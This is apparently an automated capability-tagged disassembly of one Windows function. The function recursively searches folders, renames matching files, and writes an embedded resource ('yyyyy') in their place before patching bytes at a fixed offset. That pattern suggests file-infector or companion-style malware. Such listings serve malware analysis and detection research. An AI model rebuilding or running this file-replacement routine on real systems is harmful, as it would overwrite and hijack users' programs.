Function at 0x401a60
Capabilities:
Extract resource via kernel32 functions
Move file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402657
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24c
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x28], ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 0x264], 1
call sub.MFC42.DLL_CFileFind::CFileFind
lea eax, [esp + 0x26c]
lea ecx, [esp + 0x18]
push eax
mov byte [esp + 0x268], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x264], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
push 1
push ecx
lea ecx, [esp + 0x20]
mov byte [esp + 0x26c], 4
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
push 0x404064
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 0x1c]
test eax, eax
setne bl
call fcn.004021ee
test bl, bl
je 0x401b0a
push 0x404064
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::operator
push 0x404060
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 0x18]
push 0
push edx
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x401cf0
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CFileFind::FindNextFileA
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CFileFind::GetFileName
mov ecx, dword [esp + 0x270]
mov eax, dword [eax]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 0x1c]
test eax, eax
sete byte [esp + 0x17]
call fcn.004021ee
mov al, byte [esp + 0x17]
test al, al
je 0x401c88
lea edx, [esp + 0x24]
lea ecx, [esp + 0x2c]
push edx
call sub.MFC42.DLL_CFileFind::GetFilePath
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x268], 5
call fcn.00402230
lea ecx, [esp + 0x24]
mov byte [esp + 0x264], 4
call fcn.004021ee
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x158]
push eax
push 0x40405c
push ecx
call ebx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x60]
push edx
push str._s.exe
push eax
call ebx
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 0x20
push str.yyyyy
push 0x90
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
push 2
mov ebp, eax
mov eax, dword [esp + 0x1c]
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x4c]
push 0
push ecx
push edi
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x10]
push 0x404048
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push esi
call dword [sym.imp.MSVCRT.dll_rewind]
push 0
push 0xa040
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 0x42
lea eax, [esp + 0x74]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x28
mov edx, dword [esp + 0x2c]
push 0x10
lea ecx, [esp + 0x30]
call dword [edx + 0x40]
test eax, eax
je 0x401ce4
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x401ce4
push ecx
lea eax, [esp + 0x274]
mov ecx, esp
mov dword [esp + 0x4c], esp
push eax
call sub.MFC42.DLL_CString::CString_2
push ecx
mov byte [esp + 0x26c], 6
mov ecx, esp
mov dword [esp + 0x58], esp
push ecx
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CFileFind::GetFilePath
mov ecx, dword [esp + 0x30]
mov byte [esp + 0x26c], 4
call fcn.00401a60
mov eax, dword [esp + 0x20]
test eax, eax
jne 0x401b36
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CFileFind::Close
lea ecx, [esp + 0x10]
mov byte [esp + 0x264], 3
call fcn.004021ee
lea ecx, [esp + 0x18]
mov byte [esp + 0x264], 2
call fcn.004021ee
lea ecx, [esp + 0x2c]
mov byte [esp + 0x264], 1
call fcn.0040221e
lea ecx, [esp + 0x26c]
mov byte [esp + 0x264], 0
call fcn.004021ee
lea ecx, [esp + 0x270]
mov dword [esp + 0x264], 0xffffffff
call fcn.004021ee
mov ecx, dword [esp + 0x25c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x258
ret 8